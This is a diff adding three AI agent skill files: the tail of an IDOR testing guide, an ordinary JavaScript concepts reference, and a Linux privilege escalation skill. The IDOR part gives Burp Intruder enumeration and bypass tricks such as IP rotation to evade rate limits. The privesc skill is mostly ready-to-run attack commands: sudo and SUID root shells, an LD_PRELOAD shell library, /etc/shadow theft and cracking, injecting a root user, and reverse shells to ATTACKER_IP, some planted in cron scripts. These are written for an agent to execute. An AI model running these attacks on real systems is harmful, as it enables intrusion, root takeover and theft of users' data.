+
+#### Automated Enumeration with Intruder
+```
+1. Send request to Intruder (Ctrl+I)
+2. Clear all payload positions
+3. Select ID parameter as payload position
+4. Configure attack type: Sniper
+5. Payload settings:
+   - Type: Numbers
+   - Range: 1 to 10000
+   - Step: 1
+6. Start attack
+7. Analyze responses for 200 status codes
+```
+
+#### Battering Ram Attack for Multiple Positions
+```
+# When same ID appears in multiple locations
+PUT /api/addresses/§5§/update HTTP/1.1
+
+{"id": §5§, "userId": 3}
+
+Attack Type: Battering Ram
+Payload: Numbers 1-1000
+```
+
+### 5. Common IDOR Locations
+
+#### API Endpoints
+```
+/api/user/{id}
+/api/profile/{id}
+/api/order/{id}
+/api/invoice/{id}
+/api/document/{id}
+/api/message/{id}
+/api/address/{id}/update
+/api/address/{id}/delete
+```
+
+#### File Downloads
+```
+/download/invoice_{id}.pdf
+/static/receipts/{id}.pdf
+/uploads/documents/{filename}
+/files/reports/report_{date}_{id}.xlsx
+```
+
+#### Query Parameters
+```
+?userId=123
+?orderId=456
+?documentId=789
+?file=report_123.pdf
+?account=user@email.com
+```
+
+## Quick Reference
+
+### IDOR Testing Checklist
+
+| Test | Method | Indicator of Vulnerability |
+|------|--------|---------------------------|
+| Increment/Decrement ID | Change `id=5` to `id=4` | Returns different user's data |
+| Use Victim's ID | Replace with known victim ID | Access granted to victim's resources |
+| Enumerate Range | Test IDs 1-1000 | Find valid records of other users |
+| Negative Values | Test `id=-1` or `id=0` | Unexpected data or errors |
+| Large Values | Test `id=99999999` | System information disclosure |
+| String IDs | Change format `id=user_123` | Logic bypass |
+| GUID Manipulation | Modify UUID portions | Predictable UUID patterns |
+
+### Response Analysis
+
+| Status Code | Interpretation |
+|-------------|----------------|
+| 200 OK | Potential IDOR - verify data ownership |
+| 403 Forbidden | Access control working |
+| 404 Not Found | Resource doesn't exist |
+| 401 Unauthorized | Authentication required |
+| 500 Error | Potential input validation issue |
+
+### Common Vulnerable Parameters
+
+| Parameter Type | Examples |
+|----------------|----------|
+| User identifiers | `userId`, `uid`, `user_id`, `account` |
+| Resource identifiers | `id`, `pid`, `docId`, `fileId` |
+| Order/Transaction | `orderId`, `transactionId`, `invoiceId` |
+| Message/Communication | `messageId`, `threadId`, `chatId` |
+| File references | `filename`, `file`, `document`, `path` |
+
+## Constraints and Limitations
+
+### Operational Boundaries
+- Requires at least two valid user accounts for verification
+- Some applications use session-bound tokens instead of IDs
+- GUID/UUID references harder to enumerate but not impossible
+- Rate limiting may restrict enumeration attempts
+- Some IDOR requires chained vulnerabilities to exploit
+
+### Detection Challenges
+- Horizontal privilege escalation (user-to-user) vs vertical (user-to-admin)
+- Blind IDOR where response doesn't confirm access
+- Time-based IDOR in asynchronous operations
+- IDOR in websocket communications
+
+### Legal Requirements
+- Only test applications with explicit authorization
+- Document all testing activities and findings
+- Do not access, modify, or exfiltrate real user data
+- Report findings through proper disclosure channels
+
+## Examples
+
+### Example 1: Basic ID Parameter IDOR
+```
+# Login as attacker (userId=1001)
+# Navigate to profile page
+
+# Original request
+GET /api/profile?id=1001 HTTP/1.1
+Cookie: session=abc123
+
+# Response: Attacker's profile data
+
+# Modified request (targeting victim userId=1000)
+GET /api/profile?id=1000 HTTP/1.1
+Cookie: session=abc123
+
+# Vulnerable Response: Victim's profile data returned!
+```
+
+### Example 2: IDOR in Address Update Endpoint
+```
+# Intercept address update request
+PUT /api/addresses/5/update HTTP/1.1
+Content-Type: application/json
+Cookie: session=attacker_session
+
+{
+  "id": 5,
+  "userId": 1001,
+  "street": "123 Main St",
+  "city": "Test City"
+}
+
+# Modify userId to victim's ID
+{
+  "id": 5,
+  "userId": 1000,  # Changed from 1001
+  "street": "Hacked Address",
+  "city": "Exploit City"
+}
+
+# If 200 OK: Address created under victim's account
+```
+
+### Example 3: Static File IDOR
+```
+# Download own receipt
+GET /api/download/5 HTTP/1.1
+Cookie: session=attacker_session
+
+# Response: PDF of attacker's receipt (order #5)
+
+# Attempt to access other receipts
+GET /api/download/3 HTTP/1.1
+Cookie: session=attacker_session
+
+# Vulnerable Response: PDF of victim's receipt (order #3)!
+```
+
+### Example 4: Burp Intruder Enumeration
+```
+# Configure Intruder attack
+Target: PUT /api/addresses/§1§/update
+Payload Position: Address ID in URL and body
+
+Attack Configuration:
+- Type: Battering Ram
+- Payload: Numbers 0-20, Step 1
+
+Body Template:
+{
+  "id": §1§,
+  "userId": 3
+}
+
+# Analyze results:
+# - 200 responses indicate successful modification
+# - Check victim's account for new addresses
+```
+
+### Example 5: Horizontal to Vertical Escalation
+```
+# Step 1: Enumerate user roles
+GET /api/user/1 → {"role": "user", "id": 1}
+GET /api/user/2 → {"role": "user", "id": 2}
+GET /api/user/3 → {"role": "admin", "id": 3}
+
+# Step 2: Access admin functions with discovered ID
+GET /api/admin/dashboard?userId=3 HTTP/1.1
+Cookie: session=regular_user_session
+
+# If accessible: Vertical privilege escalation achieved
+```
+
+## Troubleshooting
+
+### Issue: All Requests Return 403 Forbidden
+**Cause**: Server-side access control is implemented
+**Solution**:
+```
+# Try alternative attack vectors:
+1. HTTP method switching (GET → POST → PUT)
+2. Add X-Original-URL or X-Rewrite-URL headers
+3. Try parameter pollution: ?id=1001&id=1000
+4. URL encoding variations: %31%30%30%30 for "1000"
+5. Case variations for string IDs
+```
+
+### Issue: Application Uses UUIDs Instead of Sequential IDs
+**Cause**: Randomized identifiers reduce enumeration risk
+**Solution**:
+```
+# UUID discovery techniques:
+1. Check response bodies for leaked UUIDs
+2. Search JavaScript files for hardcoded UUIDs
+3. Check API responses that list multiple objects
+4. Look for UUID patterns in error messages
+5. Try UUID v1 (time-based) prediction if applicable
+```
+
+### Issue: Session Token Bound to User
+**Cause**: Application validates session against requested resource
+**Solution**:
+```
+# Advanced bypass attempts:
+1. Test for IDOR in unauthenticated endpoints
+2. Check password reset/email verification flows
+3. Look for IDOR in file upload/download
+4. Test API versioning: /api/v1/ vs /api/v2/
+5. Check mobile API endpoints (often less protected)
+```
+
+### Issue: Rate Limiting Blocks Enumeration
+**Cause**: Application implements request throttling
+**Solution**:
+```
+# Bypass techniques:
+1. Add delays between requests (Burp Intruder throttle)
+2. Rotate IP addresses (proxy chains)
+3. Target specific high-value IDs instead of full range
+4. Use different endpoints for same resources
+5. Test during off-peak hours
+```
+
+### Issue: Cannot Verify IDOR Impact
+**Cause**: Response doesn't clearly indicate data ownership
+**Solution**:
+```
+# Verification methods:
+1. Create unique identifiable data in victim account
+2. Look for PII markers (name, email) in responses
+3. Compare response lengths between users
+4. Check for timing differences in responses
+5. Use secondary indicators (creation dates, metadata)
+```
+
+## Remediation Guidance
+
+### Implement Proper Access Control
+```python
+# Django example - validate ownership
+def update_address(request, address_id):
+    address = Address.objects.get(id=address_id)
+    
+    # Verify ownership before allowing update
+    if address.user != request.user:
+        return HttpResponseForbidden("Unauthorized")
+    
+    # Proceed with update
+    address.update(request.data)
+```
+
+### Use Indirect References
+```python
+# Instead of: /api/address/123
+# Use: /api/address/current-user/billing
+
+def get_address(request):
+    # Always filter by authenticated user
+    address = Address.objects.filter(user=request.user).first()
+    return address
+```
+
+### Server-Side Validation
+```python
+# Always validate on server, never trust client input
+def download_receipt(request, receipt_id):
+    receipt = Receipt.objects.filter(
+        id=receipt_id,
+        user=request.user  # Critical: filter by current user
+    ).first()
+    
+    if not receipt:
+        return HttpResponseNotFound()
+    
+    return FileResponse(receipt.file)
+```

skills/javascript-mastery/SKILL.md

@@ -0,0 +1,645 @@
+---
+name: javascript-mastery
+description: "Comprehensive JavaScript reference covering 33+ essential concepts every developer should know. From fundamentals like primitives and closures to advanced patterns like async/await and functional programming. Use when explaining JS concepts, debugging JavaScript issues, or teaching JavaScript fundamentals."
+---
+
+# 🧠 JavaScript Mastery
+
+> 33+ essential JavaScript concepts every developer should know, inspired by [33-js-concepts](https://github.com/leonardomso/33-js-concepts).
+
+## When to Use This Skill
+
+Use this skill when:
+
+- Explaining JavaScript concepts
+- Debugging tricky JS behavior
+- Teaching JavaScript fundamentals
+- Reviewing code for JS best practices
+- Understanding language quirks
+
+---
+
+## 1. Fundamentals
+
+### 1.1 Primitive Types
+
+JavaScript has 7 primitive types:
+
+```javascript
+// String
+const str = "hello";
+
+// Number (integers and floats)
+const num = 42;
+const float = 3.14;
+
+// BigInt (for large integers)
+const big = 9007199254740991n;
+
+// Boolean
+const bool = true;
+
+// Undefined
+let undef; // undefined
+
+// Null
+const empty = null;
+
+// Symbol (unique identifiers)
+const sym = Symbol("description");
+```
+
+**Key points**:
+
+- Primitives are immutable
+- Passed by value
+- `typeof null === "object"` is a historical bug
+
+### 1.2 Type Coercion
+
+JavaScript implicitly converts types:
+
+```javascript
+// String coercion
+"5" + 3; // "53" (number → string)
+"5" - 3; // 2    (string → number)
+
+// Boolean coercion
+Boolean(""); // false
+Boolean("hello"); // true
+Boolean(0); // false
+Boolean([]); // true (!)
+
+// Equality coercion
+"5" == 5; // true  (coerces)
+"5" === 5; // false (strict)
+```
+
+**Falsy values** (8 total):
+`false`, `0`, `-0`, `0n`, `""`, `null`, `undefined`, `NaN`
+
+### 1.3 Equality Operators
+
+```javascript
+// == (loose equality) - coerces types
+null == undefined; // true
+"1" == 1; // true
+
+// === (strict equality) - no coercion
+null === undefined; // false
+"1" === 1; // false
+
+// Object.is() - handles edge cases
+Object.is(NaN, NaN); // true (NaN === NaN is false!)
+Object.is(-0, 0); // false (0 === -0 is true!)
+```
+
+**Rule**: Always use `===` unless you have a specific reason not to.
+
+---
+
+## 2. Scope & Closures
+
+### 2.1 Scope Types
+
+```javascript
+// Global scope
+var globalVar = "global";
+
+function outer() {
+  // Function scope
+  var functionVar = "function";
+
+  if (true) {
+    // Block scope (let/const only)
+    let blockVar = "block";
+    const alsoBlock = "block";
+    var notBlock = "function"; // var ignores blocks!
+  }
+}
+```
+
+### 2.2 Closures
+
+A closure is a function that remembers its lexical scope:
+
+```javascript
+function createCounter() {
+  let count = 0; // "closed over" variable
+
+  return {
+    increment() {
+      return ++count;
+    },
+    decrement() {
+      return --count;
+    },
+    getCount() {
+      return count;
+    },
+  };
+}
+
+const counter = createCounter();
+counter.increment(); // 1
+counter.increment(); // 2
+counter.getCount(); // 2
+```
+
+**Common use cases**:
+
+- Data privacy (module pattern)
+- Function factories
+- Partial application
+- Memoization
+
+### 2.3 var vs let vs const
+
+```javascript
+// var - function scoped, hoisted, can redeclare
+var x = 1;
+var x = 2; // OK
+
+// let - block scoped, hoisted (TDZ), no redeclare
+let y = 1;
+// let y = 2; // Error!
+
+// const - like let, but can't reassign
+const z = 1;
+// z = 2; // Error!
+
+// BUT: const objects are mutable
+const obj = { a: 1 };
+obj.a = 2; // OK
+obj.b = 3; // OK
+```
+
+---
+
+## 3. Functions & Execution
+
+### 3.1 Call Stack
+
+```javascript
+function first() {
+  console.log("first start");
+  second();
+  console.log("first end");
+}
+
+function second() {
+  console.log("second");
+}
+
+first();
+// Output:
+// "first start"
+// "second"
+// "first end"
+```
+
+Stack overflow example:
+
+```javascript
+function infinite() {
+  infinite(); // No base case!
+}
+infinite(); // RangeError: Maximum call stack size exceeded
+```
+
+### 3.2 Hoisting
+
+```javascript
+// Variable hoisting
+console.log(a); // undefined (hoisted, not initialized)
+var a = 5;
+
+console.log(b); // ReferenceError (TDZ)
+let b = 5;
+
+// Function hoisting
+sayHi(); // Works!
+function sayHi() {
+  console.log("Hi!");
+}
+
+// Function expressions don't hoist
+sayBye(); // TypeError
+var sayBye = function () {
+  console.log("Bye!");
+};
+```
+
+### 3.3 this Keyword
+
+```javascript
+// Global context
+console.log(this); // window (browser) or global (Node)
+
+// Object method
+const obj = {
+  name: "Alice",
+  greet() {
+    console.log(this.name); // "Alice"
+  },
+};
+
+// Arrow functions (lexical this)
+const obj2 = {
+  name: "Bob",
+  greet: () => {
+    console.log(this.name); // undefined (inherits outer this)
+  },
+};
+
+// Explicit binding
+function greet() {
+  console.log(this.name);
+}
+greet.call({ name: "Charlie" }); // "Charlie"
+greet.apply({ name: "Diana" }); // "Diana"
+const bound = greet.bind({ name: "Eve" });
+bound(); // "Eve"
+```
+
+---
+
+## 4. Event Loop & Async
+
+### 4.1 Event Loop
+
+```javascript
+console.log("1");
+
+setTimeout(() => console.log("2"), 0);
+
+Promise.resolve().then(() => console.log("3"));
+
+console.log("4");
+
+// Output: 1, 4, 3, 2
+// Why? Microtasks (Promises) run before macrotasks (setTimeout)
+```
+
+**Execution order**:
+
+1. Synchronous code (call stack)
+2. Microtasks (Promise callbacks, queueMicrotask)
+3. Macrotasks (setTimeout, setInterval, I/O)
+
+### 4.2 Callbacks
+
+```javascript
+// Callback pattern
+function fetchData(callback) {
+  setTimeout(() => {
+    callback(null, { data: "result" });
+  }, 1000);
+}
+
+// Error-first convention
+fetchData((error, result) => {
+  if (error) {
+    console.error(error);
+    return;
+  }
+  console.log(result);
+});
+
+// Callback hell (avoid this!)
+getData((data) => {
+  processData(data, (processed) => {
+    saveData(processed, (saved) => {
+      notify(saved, () => {
+        // 😱 Pyramid of doom
+      });
+    });
+  });
+});
+```
+
+### 4.3 Promises
+
+```javascript
+// Creating a Promise
+const promise = new Promise((resolve, reject) => {
+  setTimeout(() => {
+    resolve("Success!");
+    // or: reject(new Error("Failed!"));
+  }, 1000);
+});
+
+// Consuming Promises
+promise
+  .then((result) => console.log(result))
+  .catch((error) => console.error(error))
+  .finally(() => console.log("Done"));
+
+// Promise combinators
+Promise.all([p1, p2, p3]); // All must succeed
+Promise.allSettled([p1, p2]); // Wait for all, get status
+Promise.race([p1, p2]); // First to settle
+Promise.any([p1, p2]); // First to succeed
+```
+
+### 4.4 async/await
+
+```javascript
+async function fetchUserData(userId) {
+  try {
+    const response = await fetch(`/api/users/${userId}`);
+    if (!response.ok) throw new Error("Failed to fetch");
+    const user = await response.json();
+    return user;
+  } catch (error) {
+    console.error("Error:", error);
+    throw error; // Re-throw for caller to handle
+  }
+}
+
+// Parallel execution
+async function fetchAll() {
+  const [users, posts] = await Promise.all([
+    fetch("/api/users"),
+    fetch("/api/posts"),
+  ]);
+  return { users, posts };
+}
+```
+
+---
+
+## 5. Functional Programming
+
+### 5.1 Higher-Order Functions
+
+Functions that take or return functions:
+
+```javascript
+// Takes a function
+const numbers = [1, 2, 3];
+const doubled = numbers.map((n) => n * 2); // [2, 4, 6]
+
+// Returns a function
+function multiply(a) {
+  return function (b) {
+    return a * b;
+  };
+}
+const double = multiply(2);
+double(5); // 10
+```
+
+### 5.2 Pure Functions
+
+```javascript
+// Pure: same input → same output, no side effects
+function add(a, b) {
+  return a + b;
+}
+
+// Impure: modifies external state
+let total = 0;
+function addToTotal(value) {
+  total += value; // Side effect!
+  return total;
+}
+
+// Impure: depends on external state
+function getDiscount(price) {
+  return price * globalDiscountRate; // External dependency
+}
+```
+
+### 5.3 map, filter, reduce
+
+```javascript
+const users = [
+  { name: "Alice", age: 25 },
+  { name: "Bob", age: 30 },
+  { name: "Charlie", age: 35 },
+];
+
+// map: transform each element
+const names = users.map((u) => u.name);
+// ["Alice", "Bob", "Charlie"]
+
+// filter: keep elements matching condition
+const adults = users.filter((u) => u.age >= 30);
+// [{ name: "Bob", ... }, { name: "Charlie", ... }]
+
+// reduce: accumulate into single value
+const totalAge = users.reduce((sum, u) => sum + u.age, 0);
+// 90
+
+// Chaining
+const result = users
+  .filter((u) => u.age >= 30)
+  .map((u) => u.name)
+  .join(", ");
+// "Bob, Charlie"
+```
+
+### 5.4 Currying & Composition
+
+```javascript
+// Currying: transform f(a, b, c) into f(a)(b)(c)
+const curry = (fn) => {
+  return function curried(...args) {
+    if (args.length >= fn.length) {
+      return fn.apply(this, args);
+    }
+    return (...moreArgs) => curried(...args, ...moreArgs);
+  };
+};
+
+const add = curry((a, b, c) => a + b + c);
+add(1)(2)(3); // 6
+add(1, 2)(3); // 6
+add(1)(2, 3); // 6
+
+// Composition: combine functions
+const compose =
+  (...fns) =>
+  (x) =>
+    fns.reduceRight((acc, fn) => fn(acc), x);
+
+const pipe =
+  (...fns) =>
+  (x) =>
+    fns.reduce((acc, fn) => fn(acc), x);
+
+const addOne = (x) => x + 1;
+const double = (x) => x * 2;
+
+const addThenDouble = compose(double, addOne);
+addThenDouble(5); // 12 = (5 + 1) * 2
+
+const doubleThenAdd = pipe(double, addOne);
+doubleThenAdd(5); // 11 = (5 * 2) + 1
+```
+
+---
+
+## 6. Objects & Prototypes
+
+### 6.1 Prototypal Inheritance
+
+```javascript
+// Prototype chain
+const animal = {
+  speak() {
+    console.log("Some sound");
+  },
+};
+
+const dog = Object.create(animal);
+dog.bark = function () {
+  console.log("Woof!");
+};
+
+dog.speak(); // "Some sound" (inherited)
+dog.bark(); // "Woof!" (own method)
+
+// ES6 Classes (syntactic sugar)
+class Animal {
+  speak() {
+    console.log("Some sound");
+  }
+}
+
+class Dog extends Animal {
+  bark() {
+    console.log("Woof!");
+  }
+}
+```
+
+### 6.2 Object Methods
+
+```javascript
+const obj = { a: 1, b: 2 };
+
+// Keys, values, entries
+Object.keys(obj); // ["a", "b"]
+Object.values(obj); // [1, 2]
+Object.entries(obj); // [["a", 1], ["b", 2]]
+
+// Shallow copy
+const copy = { ...obj };
+const copy2 = Object.assign({}, obj);
+
+// Freeze (immutable)
+const frozen = Object.freeze({ x: 1 });
+frozen.x = 2; // Silently fails (or throws in strict mode)
+
+// Seal (no add/delete, can modify)
+const sealed = Object.seal({ x: 1 });
+sealed.x = 2; // OK
+sealed.y = 3; // Fails
+delete sealed.x; // Fails
+```
+
+---
+
+## 7. Modern JavaScript (ES6+)
+
+### 7.1 Destructuring
+
+```javascript
+// Array destructuring
+const [first, second, ...rest] = [1, 2, 3, 4, 5];
+// first = 1, second = 2, rest = [3, 4, 5]
+
+// Object destructuring
+const { name, age, city = "Unknown" } = { name: "Alice", age: 25 };
+// name = "Alice", age = 25, city = "Unknown"
+
+// Renaming
+const { name: userName } = { name: "Bob" };
+// userName = "Bob"
+
+// Nested
+const {
+  address: { street },
+} = { address: { street: "123 Main" } };
+```
+
+### 7.2 Spread & Rest
+
+```javascript
+// Spread: expand iterable
+const arr1 = [1, 2, 3];
+const arr2 = [...arr1, 4, 5]; // [1, 2, 3, 4, 5]
+
+const obj1 = { a: 1 };
+const obj2 = { ...obj1, b: 2 }; // { a: 1, b: 2 }
+
+// Rest: collect remaining
+function sum(...numbers) {
+  return numbers.reduce((a, b) => a + b, 0);
+}
+sum(1, 2, 3, 4); // 10
+```
+
+### 7.3 Modules
+
+```javascript
+// Named exports
+export const PI = 3.14159;
+export function square(x) {
+  return x * x;
+}
+
+// Default export
+export default class Calculator {}
+
+// Importing
+import Calculator, { PI, square } from "./math.js";
+import * as math from "./math.js";
+
+// Dynamic import
+const module = await import("./dynamic.js");
+```
+
+### 7.4 Optional Chaining & Nullish Coalescing
+
+```javascript
+// Optional chaining (?.)
+const user = { address: { city: "NYC" } };
+const city = user?.address?.city; // "NYC"
+const zip = user?.address?.zip; // undefined (no error)
+const fn = user?.getName?.(); // undefined if no method
+
+// Nullish coalescing (??)
+const value = null ?? "default"; // "default"
+const zero = 0 ?? "default"; // 0 (not nullish!)
+const empty = "" ?? "default"; // "" (not nullish!)
+
+// Compare with ||
+const value2 = 0 || "default"; // "default" (0 is falsy)
+```
+
+---
+
+## Quick Reference Card
+
+| Concept        | Key Point                         |
+| :------------- | :-------------------------------- |
+| `==` vs `===`  | Always use `===`                  |
+| `var` vs `let` | Prefer `let`/`const`              |
+| Closures       | Function + lexical scope          |
+| `this`         | Depends on how function is called |
+| Event loop     | Microtasks before macrotasks      |
+| Pure functions | Same input → same output          |
+| Prototypes     | `__proto__` → prototype chain     |
+| `??` vs `\|\|` | `??` only checks null/undefined   |
+
+---
+
+## Resources
+
+- [33 JS Concepts](https://github.com/leonardomso/33-js-concepts)
+- [JavaScript.info](https://javascript.info/)
+- [MDN JavaScript Guide](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide)
+- [You Don't Know JS](https://github.com/getify/You-Dont-Know-JS)

skills/linux-privilege-escalation/SKILL.md

@@ -0,0 +1,501 @@
+---
+name: Linux Privilege Escalation
+description: This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.
+---
+
+# Linux Privilege Escalation
+
+## Purpose
+
+Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.
+
+## Inputs / Prerequisites
+
+### Required Access
+- Low-privilege shell access to target Linux system
+- Ability to execute commands (interactive or semi-interactive shell)
+- Network access for reverse shell connections (if needed)
+- Attacker machine for payload hosting and receiving shells
+
+### Technical Requirements
+- Understanding of Linux filesystem permissions and ownership
+- Familiarity with common Linux utilities and scripting
+- Knowledge of kernel versions and associated vulnerabilities
+- Basic understanding of compilation (gcc) for custom exploits
+
+### Recommended Tools
+- LinPEAS, LinEnum, or Linux Smart Enumeration scripts
+- Linux Exploit Suggester (LES)
+- GTFOBins reference for binary exploitation
+- John the Ripper or Hashcat for password cracking
+- Netcat or similar for reverse shells
+
+## Outputs / Deliverables
+
+### Primary Outputs
+- Root shell access on target system
+- Privilege escalation path documentation
+- System enumeration findings report
+- Recommendations for remediation
+
+### Evidence Artifacts
+- Screenshots of successful privilege escalation
+- Command output logs demonstrating root access
+- Identified vulnerability details
+- Exploited configuration files
+
+## Core Workflow
+
+### Phase 1: System Enumeration
+
+#### Basic System Information
+Gather fundamental system details for vulnerability research:
+
+```bash
+# Hostname and system role
+hostname
+
+# Kernel version and architecture
+uname -a
+
+# Detailed kernel information
+cat /proc/version
+
+# Operating system details
+cat /etc/issue
+cat /etc/*-release
+
+# Architecture
+arch
+```
+
+#### User and Permission Enumeration
+
+```bash
+# Current user context
+whoami
+id
+
+# Users with login shells
+cat /etc/passwd | grep -v nologin | grep -v false
+
+# Users with home directories
+cat /etc/passwd | grep home
+
+# Group memberships
+groups
+
+# Other logged-in users
+w
+who
+```
+
+#### Network Information
+
+```bash
+# Network interfaces
+ifconfig
+ip addr
+
+# Routing table
+ip route
+
+# Active connections
+netstat -antup
+ss -tulpn
+
+# Listening services
+netstat -l
+```
+
+#### Process and Service Enumeration
+
+```bash
+# All running processes
+ps aux
+ps -ef
+
+# Process tree view
+ps axjf
+
+# Services running as root
+ps aux | grep root
+```
+
+#### Environment Variables
+
+```bash
+# Full environment
+env
+
+# PATH variable (for hijacking)
+echo $PATH
+```
+
+### Phase 2: Automated Enumeration
+
+Deploy automated scripts for comprehensive enumeration:
+
+```bash
+# LinPEAS
+curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
+
+# LinEnum
+./LinEnum.sh -t
+
+# Linux Smart Enumeration
+./lse.sh -l 1
+
+# Linux Exploit Suggester
+./les.sh
+```
+
+Transfer scripts to target system:
+
+```bash
+# On attacker machine
+python3 -m http.server 8000
+
+# On target machine
+wget http://ATTACKER_IP:8000/linpeas.sh
+chmod +x linpeas.sh
+./linpeas.sh
+```
+
+### Phase 3: Kernel Exploits
+
+#### Identify Kernel Version
+
+```bash
+uname -r
+cat /proc/version
+```
+
+#### Search for Exploits
+
+```bash
+# Use Linux Exploit Suggester
+./linux-exploit-suggester.sh
+
+# Manual search on exploit-db
+searchsploit linux kernel [version]
+```
+
+#### Common Kernel Exploits
+
+| Kernel Version | Exploit | CVE |
+|---------------|---------|-----|
+| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |
+| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |
+| 5.8+ | Dirty Pipe | CVE-2022-0847 |
+
+#### Compile and Execute
+
+```bash
+# Transfer exploit source
+wget http://ATTACKER_IP/exploit.c
+
+# Compile on target
+gcc exploit.c -o exploit
+
+# Execute
+./exploit
+```
+
+### Phase 4: Sudo Exploitation
+
+#### Enumerate Sudo Privileges
+
+```bash
+sudo -l
+```
+
+#### GTFOBins Sudo Exploitation
+Reference https://gtfobins.github.io for exploitation commands:
+
+```bash
+# Example: vim with sudo
+sudo vim -c ':!/bin/bash'
+
+# Example: find with sudo
+sudo find . -exec /bin/sh \; -quit
+
+# Example: awk with sudo
+sudo awk 'BEGIN {system("/bin/bash")}'
+
+# Example: python with sudo
+sudo python -c 'import os; os.system("/bin/bash")'
+
+# Example: less with sudo
+sudo less /etc/passwd
+!/bin/bash
+```
+
+#### LD_PRELOAD Exploitation
+When env_keep includes LD_PRELOAD:
+
+```c
+// shell.c
+#include <stdio.h>
+#include <sys/types.h>
+#include <stdlib.h>
+
+void _init() {
+    unsetenv("LD_PRELOAD");
+    setgid(0);
+    setuid(0);
+    system("/bin/bash");
+}
+```
+
+```bash
+# Compile shared library
+gcc -fPIC -shared -o shell.so shell.c -nostartfiles
+
+# Execute with sudo
+sudo LD_PRELOAD=/tmp/shell.so find
+```
+
+### Phase 5: SUID Binary Exploitation
+
+#### Find SUID Binaries
+
+```bash
+find / -type f -perm -04000 -ls 2>/dev/null
+find / -perm -u=s -type f 2>/dev/null
+```
+
+#### Exploit SUID Binaries
+Reference GTFOBins for SUID exploitation:
+
+```bash
+# Example: base64 for file reading
+LFILE=/etc/shadow
+base64 "$LFILE" | base64 -d
+
+# Example: cp for file writing
+cp /bin/bash /tmp/bash
+chmod +s /tmp/bash
+/tmp/bash -p
+
+# Example: find with SUID
+find . -exec /bin/sh -p \; -quit
+```
+
+#### Password Cracking via SUID
+
+```bash
+# Read shadow file (if base64 has SUID)
+base64 /etc/shadow | base64 -d > shadow.txt
+base64 /etc/passwd | base64 -d > passwd.txt
+
+# On attacker machine
+unshadow passwd.txt shadow.txt > hashes.txt
+john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
+```
+
+#### Add User to passwd (if nano/vim has SUID)
+
+```bash
+# Generate password hash
+openssl passwd -1 -salt new newpassword
+
+# Add to /etc/passwd (using SUID editor)
+newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
+```
+
+### Phase 6: Capabilities Exploitation
+
+#### Enumerate Capabilities
+
+```bash
+getcap -r / 2>/dev/null
+```
+
+#### Exploit Capabilities
+
+```bash
+# Example: python with cap_setuid
+/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
+
+# Example: vim with cap_setuid
+./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
+
+# Example: perl with cap_setuid
+perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
+```
+
+### Phase 7: Cron Job Exploitation
+
+#### Enumerate Cron Jobs
+
+```bash
+# System crontab
+cat /etc/crontab
+
+# User crontabs
+ls -la /var/spool/cron/crontabs/
+
+# Cron directories
+ls -la /etc/cron.*
+
+# Systemd timers
+systemctl list-timers
+```
+
+#### Exploit Writable Cron Scripts
+
+```bash
+# Identify writable cron script from /etc/crontab
+ls -la /opt/backup.sh        # Check permissions
+echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
+
+# If cron references non-existent script in writable PATH
+echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
+chmod +x /home/user/antivirus.sh
+```
+
+### Phase 8: PATH Hijacking
+
+```bash
+# Find SUID binary calling external command
+strings /usr/local/bin/suid-binary
+# Shows: system("service apache2 start")
+
+# Hijack by creating malicious binary in writable PATH
+export PATH=/tmp:$PATH
+echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
+chmod +x /tmp/service
+/usr/local/bin/suid-binary      # Execute SUID binary
+```
+
+### Phase 9: NFS Exploitation
+
+```bash
+# On target - look for no_root_squash option
+cat /etc/exports
+
+# On attacker - mount share and create SUID binary
+showmount -e TARGET_IP
+mount -o rw TARGET_IP:/share /tmp/nfs
+
+# Create and compile SUID shell
+echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
+gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell
+
+# On target - execute
+/share/shell
+```
+
+## Quick Reference
+
+### Enumeration Commands Summary
+| Purpose | Command |
+|---------|---------|
+| Kernel version | `uname -a` |
+| Current user | `id` |
+| Sudo rights | `sudo -l` |
+| SUID files | `find / -perm -u=s -type f 2>/dev/null` |
+| Capabilities | `getcap -r / 2>/dev/null` |
+| Cron jobs | `cat /etc/crontab` |
+| Writable dirs | `find / -writable -type d 2>/dev/null` |
+| NFS exports | `cat /etc/exports` |
+
+### Reverse Shell One-Liners
+```bash
+# Bash
+bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
+
+# Python
+python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
+
+# Netcat
+nc -e /bin/bash ATTACKER_IP 4444
+
+# Perl
+perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
+```
+
+### Key Resources
+- GTFOBins: https://gtfobins.github.io
+- LinPEAS: https://github.com/carlospolop/PEASS-ng
+- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
+
